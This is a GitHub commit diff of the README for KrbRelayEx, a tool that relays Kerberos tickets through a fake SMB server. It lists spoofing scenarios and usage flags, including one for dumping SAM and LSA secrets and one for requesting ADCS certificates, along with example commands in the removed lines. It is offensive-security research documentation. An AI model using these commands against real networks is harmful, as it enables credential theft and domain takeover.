Skip to content

Commit bd8a4ba

Browse files
decoder-itdecoder-it
authored
Update README.md
1 parent afd7221 commit bd8a4ba

1 file changed

Lines changed: 43 additions & 65 deletions

File tree

‎README.md‎

Lines changed: 43 additions & 65 deletions
Original file line numberDiff line numberDiff line change
@@ -1,110 +1,88 @@
1-
# KrbRelayEx
2-
1+
# KrbRelayEx
32
![Version](https://img.shields.io/badge/version-1.0-blue)
43
Kerberos Relay and Forwarder for (Fake) SMB MiTM Server
54

65
---
6+
KrbRelayEx is a tool designed for performing Man-in-the-Middle (MitM) attacks by relaying Kerberos AP-REQ tickets. It listens for incoming SMB connections and forwards the AP-REQ to the target host, enabling access to SMB shares or HTTP ADCS (Active Directory Certificate Services) endpoints on behalf of the targeted identity.
77

8-
## Why this tool
9-
I have created this tool to explore the potential misuse of privileges granted to the **DnsAdmins** group in Active Directory, focusing on their ability to modify DNS records. <br>
10-
Members of this group are considered privileged users because they can make changes that impact how computers and services are located within a network. <br>
11-
However, despite this level of access, there has been relatively little documentation (apart from CVE-2021-40469) explaining how these privileges might be exploited in practice.
12-
<br>
13-
It's worth noting that manipulating DNS entries is not exclusive to DnsAdmins. Scenarios like DNS zones with **Insecure Updates** enabled (a surprisingly common misconfiguration!) or controlling HOSTS file entries on client machines can also enable such attacks.<br>
14-
15-
The goal of this tool was to test whether a Man-in-the-Middle (MitM) attack could be executed by exploiting DNS spoofing, traffic forwarding, and **Kerberos** relaying. This is especially relevant because **Kerberos** authentication is commonly used when a resource is accessed via its hostname or fully qualified domain name (FQDN), making it central to many corporate networks.
8+
## Why This Tool?
169

17-
Building upon this concept, I developed this tool, starting from [KrbRelay](https://github.com/cube0x0/KrbRelay), and implemented it in .NET 8.0 to ensure compatibility across both Windows and GNU/Linux platforms
10+
I created this tool to explore the potential misuse of privileges granted to the `DnsAdmins` group in Active Directory, focusing on their ability to modify DNS records. Members of this group are considered privileged users because they can make changes that impact how computers and services are located within a network. However, despite this level of access, there has been relatively little documentation (apart from CVE-2021-40469) explaining how these privileges might be exploited in practice.
1811

12+
### Beyond DnsAdmins
13+
Manipulating DNS entries isn’t exclusive to the `DnsAdmins` group. Other scenarios can also enable such attacks, such as:
14+
- DNS zones with insecure updates enabled
15+
- Controlling HOSTS file entries on client machines
1916

2017

21-
## Overview
18+
### Tool Goals
19+
The goal of this tool was to test whether a Man-in-the-Middle (MitM) attack could be executed by exploiting DNS spoofing, traffic forwarding, and Kerberos relaying. This is particularly relevant because **Kerberos authentication** is commonly used when a resource is accessed via its hostname or fully qualified domain name (FQDN), making it a cornerstone of many corporate networks.
2220

23-
**KrbRelayEx** is a tool designed for performing Man-in-the-Middle (MitM) attacks by relaying Kerberos AP-REQ tickets. It listens for incoming SMB connections and forwards the AP-REQ to the target host, enabling access to SMB shares or HTTP AD CS (Active Directory Certificate Services) endpoints on behalf the targeted identity.
21+
Building upon the concept, I started from [KrbRelay](https://github.com/cube0x0/KrbRelay) and developed this tool in .NET 8.0 to ensure compatibility across both Windows and GNU/Linux platforms.
2422

25-
The tool can span several SMB consoles, and the relaying process is completely transparent to the end user, who will seamlessly access the desired share.
23+
---
2624

27-
GitHub Repository: [https://github.com/decoder-it/KrbRelayEx](https://github.com/decoder-it/KrbRelayEx)
25+
## Features
2826

27+
- Relay Kerberos AP-REQ tickets to access SMB shares or HTTP ADCS endpoints.
28+
- Interactive or background **multithreaded SMB consoles** for managing multiple connections, enabling file manipulation and the creation/startup of services.
29+
- **Multithreaded port forwarding** to forward additional trafficfrom clients to original destination such as RDP, HTTP(S), RPC Mapper, WinRM,...
30+
- Transparent relaying process for **seamless user access**.
31+
- Cross-platform compatibility with Windows and GNU/Linux via .NET 8.0 SDK.
2932

3033
---
3134

32-
## Features
35+
## Notes
3336

34-
- Relay Kerberos AP-REQ tickets to access SMB shares or HTTP ADCS endpoints.
35-
- Interactive or background multithreaded SMB consoles for managing multiple connections, enabling file manipulation and creating/starting services
36-
- Multithreaded port forwarding to support other protocols.
37-
- Transparent relaying process for **seamless user access**.
38-
- Runs on Winodws and GNU/Linux with .NET 8.0 sdk
37+
- **Relay and Forwarding Modes**:
38+
KrbRelayEx intercepts and relays the first authentication attempt, then switches to forwarder mode for all subsequent incoming requests. You can press `r` anytime to restart relay mode.
3939

40-
## Notes
40+
- **Scenarios for Exploitation**:
41+
- Being a member of the `DnsAdmins` group.
42+
- Configuring DNS zones with **Insecure Updates**: This misconfiguration allows anonymous users with network access to perform DNS Updates and potentially take over the domain!
43+
- **Abusing HOSTS files for hostname spoofing**: By modifying HOSTS file entries on client machines, attackers can redirect hostname or FQDN-based traffic to an arbitrary IP address.
4144

42-
- KrbRelayEx intercepts and relays the first authentication attempt,
43-
then switches to forwarder mode for all subsequent incoming requests.
44-
You can press any time 'r' for restarting relay mode
4545

46-
- This tool is particularly effective if you can manipulate DNS names. Examples include:
47-
- Being a member of the DNS Admins group.
48-
- Having zones where unsecured DNS updates are allowed in Active Directory domains ==> This means that anonymous users with network access could potentially take over the domain!!!
49-
- Gaining control over HOSTS file entries on client computers.
50-
- Background consoles are ideal for managing multiple SMB consoles
51-
52-
- A similar tool based on python and impacket libs can be found here https://github.com/almandin/krbjack
53-
54-
## Usage
46+
- **Background Consoles**:
47+
These are ideal for managing multiple SMB consoles simultaneously.
5548

56-
```
57-
############# KrbRelayEx by @decoder_it ##############
58-
# Kerberos Relay and Forwarder for (Fake) SMB MiTM Server #
59-
# v1.0 2024 #
60-
# Github: https://github.com/decoder-it/KrbRelayEx #
61-
###############################################################
49+
### Related Tools
50+
For a similar Python-based tool built on Impacket libraries, check out [krbjack](https://github.com/almandin/krbjack).
51+
52+
---
6253

63-
Description:
64-
KrbRelayEx is a tool designed for performing Man-in-the-Middle (MitM) attacks and relaying Kerberos AP-REQ tickets.
65-
It listens for incoming SMB connections and forward the AP-REQ to the target host, enabling access to SMB shares or HTTP ADCS (Active Directory Certificate Services endpoints)
66-
The tool can span several SMB consoles, and the relaying process is *completely transparent* to the end user, who will seamlessly access the desired share.
54+
## Usage
55+
56+
```plaintext
57+
############# KrbRelayEx by @decoder_it ##############
58+
# Kerberos Relay and Forwarder for (Fake) SMB MiTM Server #
59+
# v1.0 2024 #
60+
# Github: https://github.com/decoder-it/KrbRelayEx #
61+
###############################################################
6762
6863
Usage:
6964
KrbRelayEx.exe -spn <SPN> [OPTIONS] [ATTACK]
7065
7166
SMB Attacks:
7267
-console Start an interactive SMB console
73-
-bgconsole Start an interactive SMB console in background via sockets
68+
-bgconsole Start an interactive SMB console in the background via sockets
7469
-list List available SMB shares on the target system
7570
-bgconsolestartport Specify the starting port for background SMB console sockets (default: 10000)
7671
-secrets Dump SAM & LSA secrets from the target system
7772
7873
HTTP Attacks:
79-
-endpoint <ENDPOINT> Specify the HTTP endpoint to target (e.g., 'CertSrv')
74+
-endpoint <ENDPOINT> Specify the HTTP endpoint to target (e.g., `CertSrv`)
8075
-adcs <TEMPLATE> Generate a certificate using the specified template
8176
8277
Options:
8378
-redirectserver <IP> Specify the IP address of the target server for the attack
8479
-ssl Use SSL transport for secure communication
8580
-spn <SPN> Set the Service Principal Name (SPN) for the target service
86-
-redirectports <PORTS> Provide a comma-separated list of additional ports to forward to the target (e.g., '3389,135,5985')
81+
-redirectports <PORTS> Comma-separated list of additional ports to forward (e.g., `3389,135,5985`)
8782
-smbport <PORT> Specify the SMB port to listen on (default: 445)
83+
```
8884

89-
Examples:
90-
Start an interactive SMB console:
91-
KrbRelay.exe -spn CIFS/target.domain.com -console -redirecthost <ip_target_host>
92-
93-
List SMB shares on a target:
94-
KrbRelay.exe -spn SMB/target.domain.com -list
95-
96-
Dump SAM & LSA secrets:
97-
KrbRelay.exe -spn CIFS/target.domain.com -secrets -redirecthost <ip_target_host>
98-
99-
Start a background SMB console on port 10000 upon relay:
100-
KrbRelay.exe -spn CIFS/target.domain.com -bgconsole -redirecthost <ip_target_host>
101-
102-
Generate a certificate using ADCS with a specific template:
103-
KrbRelay.exe -spn HTTP/target.domain.com -endpoint CertSrv -adcs UserTemplate-redirecthost <ip_target_host>
10485

105-
Relay attacks with SSL and port forwarding:
106-
KrbRelay.exe -spn HTTP/target.domain.com -ssl -redirectserver <ip_target_host> -redirectports 3389,5985,135,443,80
107-
```
10886
# Examples
10987
SMB Relay:
11088
==========

0 commit comments

Comments
 (0)